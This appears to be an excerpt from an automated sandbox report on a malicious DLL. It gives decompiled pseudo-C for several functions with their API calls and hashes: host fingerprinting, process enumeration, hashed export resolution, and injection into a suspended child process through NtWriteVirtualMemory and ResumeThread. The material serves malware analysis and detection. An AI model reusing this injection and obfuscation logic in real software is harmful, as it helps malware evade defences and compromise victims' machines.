				_t56 = __ecx;
				memset(__edx, 0, 0x100);
				_v12 = 0x100;
				GetComputerNameW( &_v528,  &_v12);
				lstrcpynW(_t43,  &_v528, 0x100);
				_t27 = E6BB495C2(_t44, 0xa88);
				_v16 = _t27;
				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E6BB485B6( &_v16);
				_t33 = E6BB4C3D4(_t43);
				E6BB49621( &(_t43[E6BB4C3D4(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E6BB4C3D4(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E6BB4D442(_t43, E6BB4C3D4(_t43) + _t40, 0);
			}

0x6bb4b7ea
0x6bb4b7f3
0x6bb4b7ff
0x6bb4b805
0x6bb4b807
0x6bb4b80f
0x6bb4b822
0x6bb4b831
0x6bb4b83c
0x6bb4b849
0x6bb4b863
0x6bb4b868
0x6bb4b86a
0x6bb4b871
0x6bb4b881
0x6bb4b892
0x6bb4b89c
0x6bb4b8a4
0x6bb4b8ab
0x6bb4b8ae
0x6bb4b8cb

APIs

memset.MSVCRT ref: 6BB4B807
GetComputerNameW.KERNEL32(?,?,74EC17D9,00000000,74EC11C0), ref: 6BB4B822
lstrcpynW.KERNEL32(?,?,00000100), ref: 6BB4B831
GetVolumeInformationW.KERNEL32(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 6BB4B863

Part of subcall function 6BB49621: _vsnwprintf.MSVCRT ref: 6BB4963E

lstrcatW.KERNEL32 ref: 6BB4B89C
CharUpperBuffW.USER32(?,00000000), ref: 6BB4B8AE

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: BuffCharComputerInformationNameUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 3410906232-0
Opcode ID: f7ff9411777fce3aff23cbb5f3a088b80f21a3d3a2db687a6c71dc72937e2b4f
Instruction ID: f2e1191e23670953afc208700323e9d443f3c694e3a7fdf820e41af3ce29dd8a
Opcode Fuzzy Hash: f7ff9411777fce3aff23cbb5f3a088b80f21a3d3a2db687a6c71dc72937e2b4f
Instruction Fuzzy Hash: 3F2183B3A40218BFDB109FB4DC8AFEE77BCEB45214F104165F505D3185EA799E488B61

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4ABE5, Relevance: 7.6, APIs: 5, Instructions: 65
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6BB4ABE5(intOrPtr __ecx, void* __edx) {
				void* _v304;
				void* _v308;
				signed int _t14;
				signed int _t15;
				void* _t22;
				intOrPtr _t28;
				void* _t31;
				intOrPtr _t33;
				void* _t40;
				void* _t42;

				_t33 = __ecx;
				_t31 = __edx; // executed
				_t14 = CreateToolhelp32Snapshot(2, 0);
				_t42 = _t14;
				_t15 = _t14 | 0xffffffff;
				if(_t42 != _t15) {
					memset( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t42,  &_v304) != 0) {
						while(1) {
							_t22 = E6BB4CD02(_t33,  &_v308, _t31); // executed
							_t40 = _t22;
							if(_t40 == 0) {
								break;
							}
							_t33 =  *0x6bb5e684; // 0x2abfaa0
							if(Process32Next(_t42,  &_v308) != 0) {
								continue;
							}
							break;
						}
						CloseHandle(_t42);
						_t15 = 0 | _t40 == 0x00000000;
					} else {
						_t28 =  *0x6bb5e684; // 0x2abfaa0
						 *((intOrPtr*)(_t28 + 0x30))(_t42);
						_t15 = 0xfffffffe;
					}
				}
				return _t15;
			}

0x6bb4abe5
0x6bb4abfd
0x6bb4abff
0x6bb4ac02
0x6bb4ac04
0x6bb4ac09
0x6bb4ac18
0x6bb4ac20
0x6bb4ac34
0x6bb4ac44
0x6bb4ac4a
0x6bb4ac4f
0x6bb4ac55
0x00000000
0x00000000
0x6bb4ac57
0x6bb4ac68
0x00000000
0x00000000
0x00000000
0x6bb4ac68
0x6bb4ac70
0x6bb4ac77
0x6bb4ac36
0x6bb4ac36
0x6bb4ac3c
0x6bb4ac41
0x6bb4ac41
0x6bb4ac34
0x6bb4ac80

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000011,?,00000010), ref: 6BB4ABFF
memset.MSVCRT ref: 6BB4AC18
Process32First.KERNEL32(00000000,?), ref: 6BB4AC2F
Process32Next.KERNEL32(00000000,?), ref: 6BB4AC63
CloseHandle.KERNEL32(00000000), ref: 6BB4AC70

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32memset
String ID:
API String ID: 1267121359-0
Opcode ID: 99d1fcb6a7d3d662a8c611ef69106bb353bbe0dac471b915dece5274cec67c99
Instruction ID: cb219962c0d9912d1c8625f3c1960081108df7479439743e2163bc9b0b7ce2f2
Opcode Fuzzy Hash: 99d1fcb6a7d3d662a8c611ef69106bb353bbe0dac471b915dece5274cec67c99
Instruction Fuzzy Hash: 9711E3732082416BD750DE68CC49FAB37ECFF867A0F110669F520C7181EB29D405CB66

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4DFEF, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6BB4DFEF(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E6BB4D442( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E6BB4C3BB( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

0x6bb4dff8
0x6bb4dffa
0x6bb4dffd
0x6bb4e000
0x6bb4e006
0x6bb4e063
0x00000000
0x6bb4e063
0x6bb4e008
0x6bb4e013
0x6bb4e016
0x6bb4e01b
0x6bb4e020
0x6bb4e023
0x6bb4e025
0x6bb4e028
0x6bb4e02b
0x6bb4e030
0x00000000
0x00000000
0x00000000
0x00000000
0x6bb4e032
0x6bb4e032
0x6bb4e044
0x6bb4e051
0x6bb4e055
0x00000000
0x00000000
0x6bb4e057
0x6bb4e05a
0x6bb4e05b
0x6bb4e061
0x00000000
0x00000000
0x00000000
0x6bb4e061
0x6bb4e078
0x6bb4e07d
0x6bb4e081
0x00000000
0x6bb4e08d
0x6bb4e08d
0x6bb4e08f
0x6bb4e08f
0x6bb4e095
0x00000000
0x00000000
0x6bb4e09b
0x6bb4e09f
0x6bb4e0a3
0x00000000
0x00000000
0x00000000
0x6bb4e0a3
0x6bb4e0a9
0x6bb4e0b1
0x6bb4e0b6
0x6bb4e0b9
0x6bb4e0b9
0x6bb4e0bb
0x6bb4e0bf
0x6bb4e0c7
0x00000000
0x00000000
0x6bb4e0cb
0x6bb4e0d3
0x00000000
0x00000000
0x00000000
0x6bb4e0d3

APIs

LoadLibraryA.KERNEL32(.dll), ref: 6BB4E0BF
GetProcAddress.KERNEL32(00000000,8DF08B59), ref: 6BB4E0CB

Strings

.dll, xrefs: 6BB4E0BB, 6BB4E0BE

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: 8f6fe75dd6754a6ced292b3cf2cc1265a8261479a317d7f9a90aad6ed3cc3492
Instruction ID: e31963a093930e584238fc083a49283e04d487569f8dcc83642aa2d041436d29
Opcode Fuzzy Hash: 8f6fe75dd6754a6ced292b3cf2cc1265a8261479a317d7f9a90aad6ed3cc3492
Instruction Fuzzy Hash: AE31CF31A101998FDB18CFADC881BAEBBE5FF44304F2404A9C824D7349DB38D941DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4CA67, Relevance: 4.6, APIs: 3, Instructions: 120
threadCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6BB4CA67(intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v24;
				void* _v36;
				char _v40;
				char _v80;
				char _t37;
				intOrPtr _t38;
				void* _t45;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t54;
				intOrPtr _t57;
				long _t61;
				intOrPtr _t62;
				signed int _t65;
				signed int _t68;
				signed int _t82;
				void* _t85;
				char _t86;

				_v8 = _v8 & 0x00000000;
				_v20 = __edx;
				_t65 = 0;
				_t37 = E6BB4C93F( &_v8);
				_t86 = _t37;
				_v24 = _t86;
				_t87 = _t86;
				if(_t86 == 0) {
					return _t37;
				}
				_t38 =  *0x6bb5e688; // 0x2a40590
				_t7 = _t38 + 0xac; // 0xfe7a5504
				E6BB4A8AF( &_v80,  *_t7 + 7, _t87);
				_t82 = _v8;
				_t68 = 0;
				_v16 = 0;
				if(_t82 == 0) {
					L20:
					E6BB485FB( &_v24, 0);
					return _t65;
				}
				while(_t65 == 0) {
					while(_t65 == 0) {
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t45 = E6BB4AEA8( *((intOrPtr*)(_t86 + _t68 * 4)),  &_v40); // executed
						_t92 = _t45;
						if(_t45 >= 0) {
							_t54 = E6BB4CBB9(E6BB45CCD,  &_v40, _t92, _v20); // executed
							if(_t54 != 0) {
								_t57 =  *0x6bb5e684; // 0x2abfaa0
								_t85 =  *((intOrPtr*)(_t57 + 0xc4))(0, 0, 0,  &_v80);
								if(_t85 != 0) {
									GetLastError();
									_t61 = ResumeThread(_v36);
									_t62 =  *0x6bb5e684; // 0x2abfaa0
									if(_t61 != 0) {
										_push(0xea60);
										_push(_t85);
										if( *((intOrPtr*)(_t62 + 0x2c))() == 0) {
											_t65 = _t65 + 1;
										}
										_t62 =  *0x6bb5e684; // 0x2abfaa0
									}
									CloseHandle(_t85);
								}
							}
						}
						if(_v40 != 0) {
							if(_t65 == 0) {
								_t52 =  *0x6bb5e684; // 0x2abfaa0
								 *((intOrPtr*)(_t52 + 0x104))(_v40, _t65);
							}
							_t48 =  *0x6bb5e684; // 0x2abfaa0
							 *((intOrPtr*)(_t48 + 0x30))(_v36);
							_t50 =  *0x6bb5e684; // 0x2abfaa0
							 *((intOrPtr*)(_t50 + 0x30))(_v40);
						}
						_t68 = _v16;
						_t47 = _v12 + 1;
						_v12 = _t47;
						if(_t47 < 2) {
							continue;
						} else {
							break;
						}
					}
					_t82 = _v8;
					_t68 = _t68 + 1;
					_v16 = _t68;
					if(_t68 < _t82) {
						continue;
					} else {
						break;
					}
					do {
						goto L19;
					} while (_t82 != 0);
					goto L20;
				}
				L19:
				E6BB485FB(_t86, 0xfffffffe);
				_t86 = _t86 + 4;
				_t82 = _t82 - 1;
			}

0x6bb4ca6d
0x6bb4ca76
0x6bb4ca79
0x6bb4ca7b
0x6bb4ca80
0x6bb4ca82
0x6bb4ca85
0x6bb4ca87
0x6bb4cbb8
0x6bb4cbb8
0x6bb4ca8d
0x6bb4ca96
0x6bb4ca9f
0x6bb4caa4
0x6bb4caa7
0x6bb4caa9
0x6bb4caae
0x6bb4cba5
0x6bb4cbab
0x00000000
0x6bb4cbb4
0x6bb4cab4
0x6bb4cabf
0x6bb4cacc
0x6bb4cad0
0x6bb4cad1
0x6bb4cad2
0x6bb4cad6
0x6bb4cadb
0x6bb4cadd
0x6bb4caea
0x6bb4caf2
0x6bb4cafd
0x6bb4cb08
0x6bb4cb0c
0x6bb4cb0e
0x6bb4cb1c
0x6bb4cb24
0x6bb4cb29
0x6bb4cb2b
0x6bb4cb30
0x6bb4cb36
0x6bb4cb38
0x6bb4cb38
0x6bb4cb39
0x6bb4cb39
0x6bb4cb3f
0x6bb4cb3f
0x6bb4cb0c
0x6bb4caf2
0x6bb4cb46
0x6bb4cb4a
0x6bb4cb4c
0x6bb4cb55
0x6bb4cb55
0x6bb4cb5b
0x6bb4cb63
0x6bb4cb66
0x6bb4cb6e
0x6bb4cb6e
0x6bb4cb74
0x6bb4cb77
0x6bb4cb78
0x6bb4cb7e
0x00000000
0x00000000
0x00000000
0x00000000
0x6bb4cb7e
0x6bb4cb84
0x6bb4cb87
0x6bb4cb88
0x6bb4cb8d
0x00000000
0x00000000
0x00000000
0x00000000
0x6bb4cb93
0x00000000
0x00000000
0x00000000
0x6bb4cb93
0x6bb4cb93
0x6bb4cb96
0x6bb4cb9c
0x6bb4cba0

APIs

Part of subcall function 6BB4AEA8: memset.MSVCRT ref: 6BB4AEC7
Part of subcall function 6BB4AEA8: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6BB4AEE7

Part of subcall function 6BB4CBB9: memset.MSVCRT ref: 6BB4CBFA
Part of subcall function 6BB4CBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6BB4CC64
Part of subcall function 6BB4CBB9: NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6BB4CC81
Part of subcall function 6BB4CBB9: NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6BB4CCA2
Part of subcall function 6BB4CBB9: FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6BB4CCB5

GetLastError.KERNEL32(?,00000001), ref: 6BB4CB0E
ResumeThread.KERNEL32(?,?,00000001), ref: 6BB4CB1C
CloseHandle.KERNEL32(00000000,?,00000001), ref: 6BB4CB3F

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryVirtual$Protectmemset$CloseCreateErrorFreeHandleLastLibraryProcessResumeThreadWrite
String ID:
API String ID: 1274669455-0
Opcode ID: 72da7b4b8dc43dd6c6533f2afd75cf542ca820758d903798fbea2ec36e77ecc6
Instruction ID: 95e7f68791d118586c5f76a23587b789d34bb5a57cc57e442b7366898cdb072c
Opcode Fuzzy Hash: 72da7b4b8dc43dd6c6533f2afd75cf542ca820758d903798fbea2ec36e77ecc6
Instruction Fuzzy Hash: 8241E232A04208AFDF00DFA8C984AAEB7F9FF48710F1100A9E501E7254DB75DD49EB52

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4B9DA, Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6BB4B9DA(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E6BB485E5(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E6BB485FB( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

0x6bb4b9dd
0x6bb4b9de
0x6bb4b9e5
0x6bb4b9ed
0x6bb4b9f1
0x6bb4b9fa
0x6bb4ba40
0x6bb4ba40
0x6bb4ba07
0x6bb4ba0f
0x6bb4ba11
0x6bb4ba17
0x6bb4ba30
0x00000000
0x6bb4ba32
0x6bb4ba37
0x00000000
0x6bb4ba3d
0x6bb4ba19
0x6bb4ba19
0x6bb4ba19
0x6bb4ba19
0x6bb4ba17
0x6bb4ba46

APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,74EC17D9,00000000,6BB40000,00000000,00000000,?,6BB4BA79,?,00000000,?,6BB4D0EA), ref: 6BB4B9F5
GetLastError.KERNEL32(?,6BB4BA79,?,00000000,?,6BB4D0EA), ref: 6BB4B9FC

Part of subcall function 6BB485E5: HeapAlloc.KERNEL32(00000008,?,?,6BB48F65,00000100,?,6BB45FAC), ref: 6BB485F3

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,?,6BB4BA79,?,00000000,?,6BB4D0EA), ref: 6BB4BA2B

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationToken$AllocErrorHeapLast
String ID:
API String ID: 4258577378-0
Opcode ID: e47310939cf7cec45ed87b3fb390dcf960de29b85e272b9b85e9367a9f5aba97
Instruction ID: 03785844394ead6661c036ce4347c09c305a4c898b04a55d07c69087999cfc72
Opcode Fuzzy Hash: e47310939cf7cec45ed87b3fb390dcf960de29b85e272b9b85e9367a9f5aba97
Instruction Fuzzy Hash: 2E01A272A04168BF8B349BA9DC49D9F7FBCFA467A0B100165F605D3104EA34DD04E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4AEA8, Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6BB4AEA8(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;
				WCHAR* _t15;
				int _t19;
				struct _PROCESS_INFORMATION* _t20;

				_t20 = __edx;
				_t15 = __ecx;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t19 = 0x44;
				memset( &_v72, 0, _t19);
				_v72.cb = _t19;
				_t11 = CreateProcessW(0, _t15, 0, 0, 0, 4, 0, 0,  &_v72, _t20);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

0x6bb4aeb1
0x6bb4aeb7
0x6bb4aebb
0x6bb4aebc
0x6bb4aebd
0x6bb4aebe
0x6bb4aec2
0x6bb4aec7
0x6bb4aecf
0x6bb4aee7
0x6bb4aeed
0x6bb4aef5

APIs

memset.MSVCRT ref: 6BB4AEC7
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 6BB4AEE7

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateProcessmemset
String ID:
API String ID: 2296119082-0
Opcode ID: 9e6eab06fd5127286930dc8215b655de500be472eb3607bb9ebd144a2e71c88a
Instruction ID: 5393ed6448709c6b8304e7f814d9bd5a79925822564a3596e2489cb2bdd129cf
Opcode Fuzzy Hash: 9e6eab06fd5127286930dc8215b655de500be472eb3607bb9ebd144a2e71c88a
Instruction Fuzzy Hash: B8F01CF26045087FF760D9ADDC46EBBB6ECDB89664F100532FA05D6190E560ED0582A2

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4E1FE, Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6BB4E1FE(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E6BB495A8(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0x7c3) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E6BB4E1B3(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				E6BB485A3( &_v8);
				return _t25;
			}

0x6bb4e201
0x6bb4e204
0x6bb4e20a
0x6bb4e20c
0x6bb4e211
0x6bb4e213
0x6bb4e21d
0x6bb4e21e
0x6bb4e22d
0x6bb4e220
0x6bb4e220
0x6bb4e220
0x6bb4e231
0x6bb4e238
0x6bb4e23e
0x6bb4e23e
0x6bb4e243
0x6bb4e24e

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00000001,?,6BB5BA20), ref: 6BB4E220
LoadLibraryA.KERNEL32(00000000,00000000,00000001,?,6BB5BA20), ref: 6BB4E22D

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: ac77ff9fb7407f35358bfe44e37f32b3f27d64ed84aecb7bd45d660dcc6f9cbe
Instruction ID: 23f3faab3b43b203661c25f7f444ae409d7645f6a5704962ba6b1e2bbc208b8b
Opcode Fuzzy Hash: ac77ff9fb7407f35358bfe44e37f32b3f27d64ed84aecb7bd45d660dcc6f9cbe
Instruction Fuzzy Hash: EEF0A732714154AFD708DBBDEC8589EB3ECFF99694714406AF405D3244DAB8EE4096A1

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4CD02, Relevance: 2.5, APIs: 2, Instructions: 48
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6BB4CD02(void* __ecx, intOrPtr _a4, signed int _a8) {
				CHAR* _v8;
				int _t28;
				signed int _t31;
				signed int _t34;
				signed int _t35;
				void* _t38;
				signed int* _t41;

				_t41 = _a8;
				_t31 = 0;
				if(_t41[1] > 0) {
					_t38 = 0;
					do {
						_t3 =  &(_t41[2]); // 0xe6840d8b
						_t34 =  *_t3;
						_t35 = 0;
						_a8 = 0;
						if( *((intOrPtr*)(_t38 + _t34 + 8)) > 0) {
							_v8 = _a4 + 0x24;
							while(1) {
								_t28 = lstrcmpiA(_v8,  *( *((intOrPtr*)(_t38 + _t34 + 0xc)) + _t35 * 4));
								_t14 =  &(_t41[2]); // 0xe6840d8b
								_t34 =  *_t14;
								if(_t28 == 0) {
									break;
								}
								_t35 = _a8 + 1;
								_a8 = _t35;
								if(_t35 <  *((intOrPtr*)(_t34 + _t38 + 8))) {
									continue;
								} else {
								}
								goto L8;
							}
							 *_t41 =  *_t41 |  *(_t34 + _t38);
						}
						L8:
						_t31 = _t31 + 1;
						_t38 = _t38 + 0x10;
						_t20 =  &(_t41[1]); // 0x1374ff85
					} while (_t31 <  *_t20);
				}
				Sleep(0xa);
				return 1;
			}

0x6bb4cd08
0x6bb4cd0b
0x6bb4cd10
0x6bb4cd13
0x6bb4cd15
0x6bb4cd15
0x6bb4cd15
0x6bb4cd18
0x6bb4cd1a
0x6bb4cd21
0x6bb4cd29
0x6bb4cd2c
0x6bb4cd36
0x6bb4cd3c
0x6bb4cd3c
0x6bb4cd41
0x00000000
0x00000000
0x6bb4cd46
0x6bb4cd47
0x6bb4cd4e
0x00000000
0x00000000
0x6bb4cd50
0x00000000
0x6bb4cd4e
0x6bb4cd55
0x6bb4cd55
0x6bb4cd57
0x6bb4cd57
0x6bb4cd58
0x6bb4cd5b
0x6bb4cd5b
0x6bb4cd60
0x6bb4cd68
0x6bb4cd74

APIs

lstrcmpi.KERNEL32(?,?,00000128,00000000,?,?,?,6BB4AC4F,?,?), ref: 6BB4CD36
Sleep.KERNEL32(0000000A,00000000,?,?,?,6BB4AC4F,?,?), ref: 6BB4CD68

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleeplstrcmpi
String ID:
API String ID: 1261054337-0
Opcode ID: 991e1414dcbd7d1ac0bb26d98b5a3c4607a801dc800060916229ef21e8e1ce09
Instruction ID: 335538332adf3bbeb02313258e1b0a2717f950ce90e931b372cbc10c4a0124db
Opcode Fuzzy Hash: 991e1414dcbd7d1ac0bb26d98b5a3c4607a801dc800060916229ef21e8e1ce09
Instruction Fuzzy Hash: 9E018031600205AFDB14CF69C880956BBE6FF84728711C069E4698B215D735E942DF51

Uniqueness

Uniqueness Score: -1.00%

Function 6BB45E77, Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6BB45E77() {
				intOrPtr _t3;

				_t3 =  *0x6bb5e684; // 0x2abfaa0
				 *((intOrPtr*)(_t3 + 0x2c))( *0x6bb5e6a8, 0xffffffff);
				ExitProcess(0);
			}

0x6bb45e77
0x6bb45e84
0x6bb45e8e

APIs

ExitProcess.KERNEL32(00000000), ref: 6BB45E8E

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
